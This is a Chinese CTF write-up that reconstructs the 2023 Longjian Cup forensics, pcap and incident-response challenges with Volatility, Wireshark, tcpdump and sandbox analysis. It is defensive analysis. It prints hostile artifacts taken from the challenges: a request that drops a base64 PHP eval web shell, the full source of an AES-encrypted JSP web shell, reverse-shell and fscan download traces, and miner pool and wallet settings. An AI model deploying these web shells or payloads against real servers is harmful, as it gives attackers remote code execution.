2023陇剑杯初赛

陇剑杯初赛的时候正好赶上我在带训 实在不好请假 遗憾错过流量分析杯 遂来复现一手

baby_forensics

1

image-20240204003301941

要key 直接找关于key的文件

.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 filescan | findstr "key"

.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003df94070 -D E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a

导出来 重新命名为key.txt 内容是

E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d     

估计还得在操作 随波逐流梭了

image-20240204005247186

thekeyis2e80307085fd2b5c49c968c323ee25d5

2

image-20240204005326608

要计算机就提取计算器的进程

积累一下 计算器在计算机中的进程是calc.exe

.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 pslist

image-20240204005552594

导出来保存为data文件

.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 memdump -p 2844 -D E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a

将1.data放到kali的gimp里面查看图像 需要调一下高度、宽度和偏移值

image-20240204011216677

得到计算器中的数字

7598632541

看wp还学到了一种做法 我们使用vol2的windows插件 并将其另存为windows文件

.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 windows >windows

在这个文件里面直接翻 计算器的进程calc.exe 直接找到计算器的运行结果

image-20240210230950647

3

image-20240204120242491

在使用r-studio翻找关键文件的时候 在Music文件夹找到一个i4ak3y文件 打开查看内容 应该是一个解密密钥

qwerasdf

这道题我们需要用到计算机中便签的进程 也就是StikyNot.exe

StikyNot.exe 是Windows操作系统中的一个应用程序,也就是桌面上的便签小工具。它的主要作用是提供一个简单的方式来创建、编辑和管理便签,以便用户可以在桌面上快速记录和查看重要的信息、提醒事项或备忘录。

关于StikyNot.exe 的内存的作用,它主要用于存储和管理用户创建的便签内容。当用户打开StikyNot.exe 应用程序时,操作系统会为该程序分配一定的内存空间,用于存储便签的文本、颜色、位置等信息。这样,当用户关闭应用程序或重新启动计算机时,便签的内容仍然可以被保存下来,以便下次使用时能够恢复之前的状态。

总结来说,StikyNot.exe 的内存的作用是为了存储和管理用户创建的便签内容,确保便签信息的持久性和可恢复性。

找到StikyNot.exe进程并将其提取出来 PID是2968

image-20240211160329431

.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 memdump -p 2968 -D E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a

将后缀改为data 使用gimp打开 调一下宽高

image-20240211162030868

看到一串字符

U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

看到U2Fsd的头 想到很多使用对称加密在线网站的结果都有这个头 在结合上面找到的密码 直接进行解密

image-20240211165231813

也可以直接在内存文件里面翻 有U2Fsd头的内容进行解密 但是多少还是有点草率

也可以写个check函数帮助筛选内存文件中可能是flag的内容 参考下面文章

2023陇剑杯wp

#!/bin/bash

check() {
    pattern="flag|==|10210897103|666c6167|464C4147|Zmxh|Wm14aFoz|&#102|58s4vb|2uk2h3|key|pass|pwd|password|hint|U2FsdGVkX1"
    > check.txt  # 清空或创建 check.txt 文件
    grep -irlE "$pattern" 1.raw | while read -r file; do
        echo -e "File: $file" >> check.txt
        strings "$file" | grep -iE "$pattern" >> check.txt
        echo -e "" >> check.txt
    done
}

check  # 调用 check 函数

echo "检查完成,请查看 check.txt 文件"

image-20240211171337367

ez_web

1

image-20240211171631986

看了一下分组计数器 4xx很多 说明还是存在目录扫描的 我的思路还是先从响应码200的请求包开始找 先筛选一下

http.response.code == 200

image-20240211175345527

不是很多 从上到下翻找一下 第三个包找到了

image-20240211175852466

a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B

image-20240211175932288

到这可能觉得d00r.php就是正确答案了 但是在比赛的时候提交是不正确的 那就在往上一级找一下 那就是ViewMore.php

2

image-20240211180120905

在上一题后面继续往后翻 看到使用了ifconfig命令 这个包是第10098流

image-20240212000917581

在追踪一下http流 看一下获取ip地址的结果

image-20240212224132249

上面的192.168.160.130是已经出现的 那下面的192.168.160.132就是服务器ip了

192.168.160.132

3

image-20240211180507299

还是一样在http流里面看 先看到读取了passwd文件的内容 7e03864b0db7e6f9

image-20240212230949011

还找到写入了一个base64编码的文件

image-20240212215923913

是个压缩包

image-20240212231726573

image-20240212231740914

将压缩包保存下来 尝试使用上面读取的密码解压 得到key.txt

7d9ddff2-2d67-4eba-9e48-b91c26c42337

hacked

1

image-20240212232426112

image-20240213232909590

追踪register页面可以找到加密算法

  <script language="javascript">  
  crypt_key = 'l36DoqKUYQP0N7e1';
  crypt_iv = '131b0c8a7a6e072e';
  var key = CryptoJS.enc.Utf8.parse(crypt_key); 
  var iv = CryptoJS.enc.Utf8.parse(crypt_iv); 
  function Encrypt(word){
    srcs = CryptoJS.enc.Utf8.parse(word);
    var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
    return encrypted.toString();
  }
  function print(){
    var a = Encrypt(myform.username.value);
    var b = Encrypt(myform.password.value);
    }

写个解密脚本

from Crypto.Cipher import AES
import base64

crypt_key = b'l36DoqKUYQP0N7e1'
crypt_iv = b'131b0c8a7a6e072e'

def decrypt(ciphertext):
    cipher = AES.new(crypt_key, AES.MODE_CBC, crypt_iv)
    decrypted = cipher.decrypt(base64.b64decode(ciphertext))
    # 移除 PKCS7 填充
    decrypted = _remove_pkcs7_padding(decrypted)
    return decrypted.decode('utf-8')

def _remove_pkcs7_padding(data):
    padding_len = data[-1]
    return data[:-padding_len]

# 解密用户名和密码
encrypted_username = "pl3HJGsgs1Zn43qjV5Qx8w=="
decrypted_username = decrypt(encrypted_username)
print('Decrypted Username:', decrypted_username)

encrypted_password = "pl3HJGsgs1Zn43qjV5Qx8w=="
decrypted_password = decrypt(encrypted_password)
print('Decrypted Password:', decrypted_password)

用上面这组用户名和密码 解出来为aaa/aaa 我们同样追踪register页面 找到admIn的那一组就好

image-20240213234532033

flag{WelC0m5_TO_H3re}

2

image-20240213233302974

第68个流看到一串很奇妙的字符 直接搜索SECRET_KEY

image-20240213234748388

解码一下

image-20240213234759606

ssti_flask_hsfvaldb

3

image-20240213234820734

是flask的session注入漏洞 需要用到flask-session-cookie-manager这个工具来解密session

用法就是

python3 ./flask_session_cookie_manager.py -c cookie密文 -s 密钥

然后在流量包里面解密session值就可以了 密钥就是上面第二题ssti_flask_hsfvaldb

我们直接看回显 像这种正常在页面上回显的基本上没有什么问题

直接找有问题的 一个没有回显 一个回显None

![(https://raw.githubusercontent.com/w3n1z1/blogimage/main/image/202402182139955.png)

求包看到了执行了whoami命令 返回包看到用户是red

image-20240218214056815

因此 flask网站是由red用户启动的

4

image-20240218214151413

一共就那么几个路由 都试试就出了

image-20240218214937822

Index

hard_web

1

image-20240218215039122

方法一:

看到这种找服务器开放端口的题 其实原理问的就是tcp三次握手 开放了端口肯定存在返回的ACK标志 那便需要我们找ACK标志

先判断服务器的ip地址 这个很好判断就是192.168.162.180

使用tcpdump

tcpdump -n -r /home/kali/Desktop/hard_web.pcap 'tcp[13] =18' | awk '{print $3}' | sort -u 

image-20240218234755533

前三个就是 那么开放的端口就是80 888 8888

方法二:

也可以直接在wireshark里面进行筛选 条件语句可以这样写

tcp.connection.synack and ip.dst==192.168.162.188

image-20240218234944540

2

image-20240218235010397

在传入jsp脚本之后 第一次进行命令执行的包处 追踪http流 找到key加密的过程

image-20240219171505923

image-20240219175250365

image-20240219001430628

<%! String xc="748007e861908c03"; 
class X extends ClassLoader{
    public X(ClassLoader z){
        super(z);
    }public Class Q(byte[] cb){
        return super.defineClass(cb, 0, cb.length);
    } 
}
public byte[] x(byte[] s,boolean m){ 
    try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
        c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
        return c.doFinal(s); }catch (Exception e){return null; }
}%>
<%try{
    byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
    java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);
    if (session.getAttribute("payload")==null){
        session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
    }else{
        request.setAttribute("parameters", data);
        Object f=((Class)session.getAttribute("payload")).newInstance();
        java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
        f.equals(arrOut);
        f.equals(pageContext);
        f.toString();
        response.getOutputStream().write(x(arrOut.toByteArray(), true));
} }catch (Exception e){}%>

可以看到有gunzip和aes aes加密的key也给了748007e861908c03 找到最后一个jsp加密流量 将密文以hex的形式转储

image-20240219175653599

用厨子进行解密

image-20240219175752452

3

image-20240219175813153

直接将aes的解密密钥解md5即可

image-20240219180602528

14mk3y

IncidentResponse

1

image-20240219180755108

首先对服务器进行挂载仿真

题目中给出了登陆服务器的账号密码root/IncidentResponsePasswd 直接登陆root账户

这里我想的是先连上xshell 通过xftp将服务器中的文件下载下来 在使用D盾河马等工具进行扫描

在对服务器进行仿真挂载之后 选择NAT模式 使用ifconfig查看ip地址 会发现没有ens33网卡

image-20240226204115751

找到一篇解决问题的文章【ubuntu虚拟机】ens33未出现在ifconfig问题

ifconfig ens33 up
dhclient ens33
ifconfig

image-20240226204253452

得到ip地址192.168.160.158 当然虚拟机的网络连接模式要选NAT模式

xshell连接成功

image-20240226204537637

使用xftp将文件系统中的文件全部下载下来

image-20240226204652002

然后使用D盾进行扫描

\etc\redis\redis-server

这个文件里面存在后门 看一下文件结构 还是个linux可执行程序 那这个就是挖矿病毒的路径了

image-20240226211924453

进行md5加密

6f72038a870f05cbf923633066e48881

2

image-20240227124816577

由第一题 我们可得挖矿病毒程序在\etc\redis文件夹下 那在同文件夹下一定还有关于挖矿病毒的文件

找到redis.conf配置文件

image-20240227125129155

这段代码看起来是关于加密货币挖矿的配置信息,可能是针对 XMRig 软件的配置。让我逐一解释:

"pools": [...]: 这是一个列表,包含了挖矿池的配置信息。
"algo": null: 这里应该指定挖矿所使用的算法,但是目前是空值,可能需要根据具体情况填写。
"coin": null: 指定挖矿的加密货币种类,同样是空值。
"url": "donate.v2.xmrig.com:3333": 挖矿池的地址,通常包括主机名和端口号。
"user": "YOUR_WALLET_ADDRESS": 这里需要填写你的数字货币钱包地址,挖矿所得的货币会发送到这个地址。
"pass": "x": 密码,通常是 'x' 或者是空值。
"rig-id": null: 矿机的标识符,同样是空值。
"nicehash": false: 表示是否使用 NiceHash 挖矿,这里是 false,即不使用 NiceHash。
"keepalive": false: 是否保持挖矿连接活跃,这里是 false。
"enabled": true: 挖矿池是否启用,这里是 true。
"tls": false: 是否使用 TLS/SSL 连接,这里是 false。
"tls-fingerprint": null: TLS/SSL 指纹,同样是空值。
"daemon": false: 是否使用挖矿守护进程模式,这里是 false。
"socks5": null: SOCKS5 代理,同样是空值。
"self-select": null: 自选功能,为空值。
"submit-to-origin": false: 是否将挖矿结果提交到原始地址,这里是 false。

很明显矿池域名是

donate.v2.xmrig.com

image-20240227130018273

3fca20bb92d0ed67714e68704a0a4503

3

image-20240227130039488

查看服务器的历史命令

看到运行jar包之后生成了一个nohup.log日志文件 在\home\app文件夹下 在里面看到了很多shiro链 那就是shiro反序列化漏洞

shirodeserialization
3ee726cb32f87a15d22fe55fa04c4dcd

4

image-20240227183332371

直接用last命令看一下登陆记录

image-20240227183517764

这几个就是

81.70.166.3
c76b4b1a5e8c9e7751af4684c6a8b2c9

5

image-20240227183555028

查看nginx服务器的日志文件

cat \var\log\nginx\access.log

直接拉到最后

image-20240227185804997

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)
6ba8458f11f4044cce7a621c085bb3c6

6

image-20240227190112787

猜测是sshd软连接

直接搜一下

history | grep ssh

image-20240227190834907

查看这个文件

image-20240227190903805

UsePAM为YES的话就是通过ssh软连接进行权限维持

再看一下ssh

image-20240227191140366

连接上了kali的ssh

/root/.ssh/authorized_keys
a1fa1b5aeb1f97340032971c342c4258

7

image-20240227191218301

上面提到的redis挖矿病毒也算

/lib/systemd/system/redis.service

这个文件一直在开启redis文件进行自动挖矿

image-20240227191354528

b2c5af8ce08753894540331e5a947d35

SmallSword

1

image-20240219234130980

找到蚁剑连接部分的流量 解一下url编码

image-20240220172412934

6ea280898e404bfabd0ebb702327b19f

看到@ini_set("display_errors", "0");@set_time_limit(0) 这部分前面就是蚁剑连接的密码

6ea280898e404bfabd0ebb702327b19f

2

image-20240220221117025

直接找蚁剑连接的流量包一个个解密看内容就行 这个没什么技巧

需要注意一点蚁剑流量在url编码之前会先进行一次base64加密 但是加密之后可能会在密文前添加不定字符 进行一个简单的免杀 这会使我们在解密的时候 如果不去掉这些额外字符解出来肯定会是乱码

这个冗余字符的长度我们可以观察蚁剑流量传输的代码

下面是例子

$p = base64_decode(substr($_POST["m0300de6257f67"], 2));
substr函数的作用是截取字符串中指定长度的字符
语法是int substr(string str, int start , int length)   
那么对于上面这一部分蚁剑流量 就可以理解为他从下标索引为2的字符(实际上就是第三个字符)开始截取 并进行base64解密

那么对于这个流量 我们也可以找到相关的语句 发现他没有进行免杀 直接从头开始解base64

$D=base64_decode($_POST["0x72b3f341e432"]);

解密142条流量包的数据 发现存在写入一个名为hacker.txt的文件的操作

image-20240220233301767

image-20240220233238792

这部分就是攻击者留存的值

ad6269b7-3ce2-4ae8-b97f-f259515e7a91 

3

image-20240220233403097

第130个数据包处进行解密 发现是读取了一个huorong.exe

image-20240220235426750

同时导出http最大的文件也是这个包里面的 名为info1.php 提取出来看一下结构

image-20240220235729184

删掉前面的->| 改名为1.exe

用pyinstxtractor.py来解析一下 发现一个2.pyc

image-20240221000601564

在线反编译一下

image-20240221000937720

会生成一个test.jpg图片 运行一下 但是需要改下宽高 直接梭了

image-20240221001658169

tcpdump

1

image-20240221113750721

观察整个流量包 很明显的爆破过程是先扫目录 扫到登陆目录在爆破用户名爆破用户密码 先筛选一波

http && ip.src == 172.31.0.2 && ip.dst == 172.31.0.1 && http.response.code == 200

观察发现 当密码不对的时候 状态码是300

image-20240221230515587

继续翻找 发现一个状态码为200的包

image-20240221230540903

追踪tcp流 找到账号和密码

image-20240221230608763

TMjpxFGQwD:123457

法二:

一种新的筛选方法 直接筛选状态码的内容

tcp contains "{\"errCode\":200}"

注意双引号用\转义一下

image-20240221235343684

2

image-20240221235355531

大致了解一下越权漏洞 就是一种越过对特定资源读写的权限的漏洞 分为水平越权和垂直越权 水平就是同级别(权限)的用户 可以越权访问、修改或者删除的非法操作 垂直又分为向下越权和向上越权

通俗来讲就是 当权限验证做的不好的时候 抓包之后修改url后面的用户对应的参数 就可以实现越权访问

观察发现 在密码爆破结束之后是第1585个包 userid=2

image-20240222234629544

拉倒最后 发现userid变成了1 实现了越权漏洞利用

image-20240222234717512

此时的cookie为

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1

进行md5加密

383c74db4e32513daaa1eeb1726d7255

3

image-20240222235256927

没啥技巧 就是翻就完事了 或者同第一题筛选一下也可以

tcp contains "jdbc" && tcp contains "username" && tcp contains "passwd"

image-20240223000811948

image-20240223000828576

zyplayer:1234567

4

image-20240223000903469

在使用jdbc漏洞读取了数据库的账号密码之后 在向下翻找数据包 在1603流的内容中看到了很明显的反弹shell的语句

image-20240224211033469

可以找到这个文件的名字是custom.dtd.xml 那向前翻找一个包 也可以找到这个文件

image-20240224211100008

直接搜一下这段

image-20240224211226582

image-20240224211343250

可以找到漏洞编号为CVE-2022-21724

CVE-2022-21724:custom.dtd.xml

5

image-20240225155907092

看到第1611个流里面 在获取系统权限之后 使用curl命令 下载了fscan工具

image-20240225160616995

fscan

wireshark

1

image-20240225160808322

这个其实很明显了 TCP协议的流量 第一个包是192.168.246.1192.168.246.28发送SYN包 表示建立连接 那肯定192.168.246.28就是被入侵的主机ip

image-20240225162342568

192.168.246.28

2

image-20240225162401549

也是在追踪tcp的第一个流里面 看到了输入用户名密码成功登陆被入侵主机的记录

image-20240225162450792

youcannevergetthis

3

image-20240225162627383

看到在被入侵主机里面执行了ls命令

image-20240225164549663

直接横着看就行 第二个是Downloads

4

image-20240225165326379

看到被入侵主机中执行了cat /etc/passwd命令

image-20240225165437163

那倒数第二个用户名就是mysql

server_save

1

image-20240225202807050

类似与tcpdump4的做法 先找到进入终端的流 是108流 看到是先用python创建了一个交互式终端

image-20240225205912166

向前翻 第106流是一个反弹shell的文件bbbb.sh 第107流就是执行这个反弹shell的码

image-20240225210303379

105流可以看到执行了传入cmd参数 内容是id 回显内容显示此时的用户是root 说明这个时候拿到了root权限

image-20240225210619658

那前面一个流 就是拿到root权限的方法

image-20240225210648923

直接搜一下这句 就找到了CVE编号

image-20240225210712105

CVE-2022-22965

2

image-20240225210811880

这个反弹shell前面已经分析过了

image-20240225210303379

192.168.43.128:2333

3

image-20240225210912839

这个就是翻do文件夹里面的文件系统 在\home\guests文件夹下找到一个main文件夹 放到沙箱里面分析一下 就是个elf可执行程序病毒文件

image-20240225213247982

main

4

image-20240225213302908

直接在沙箱里面看分析结果

image-20240225213502521

添加了ll用户 密码明文为123456

ll:123456

5

image-20240225213547063

在沙箱的异常行为分析中 看到这个病毒文件创建了一个隐藏文件或者系统文件

image-20240225213714896

我们看一下这个.log.txt

image-20240225213736742

那就是这个ip了

172.105.202.239

6

image-20240225213800550

两个文件的话 那应该就是\home\guests\.idea下的两个文件了 看创建日期也能判断 这是在main运行之后产生的

image-20240225214056282

image-20240225214031850

lolMiner、mine_doge.sh

7、8

image-20240225214131774

image-20240225214216553

都在mine_doge.sh这个文件夹下了

image-20240225214241997

POOL=doge.millpools.cc:5567
WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker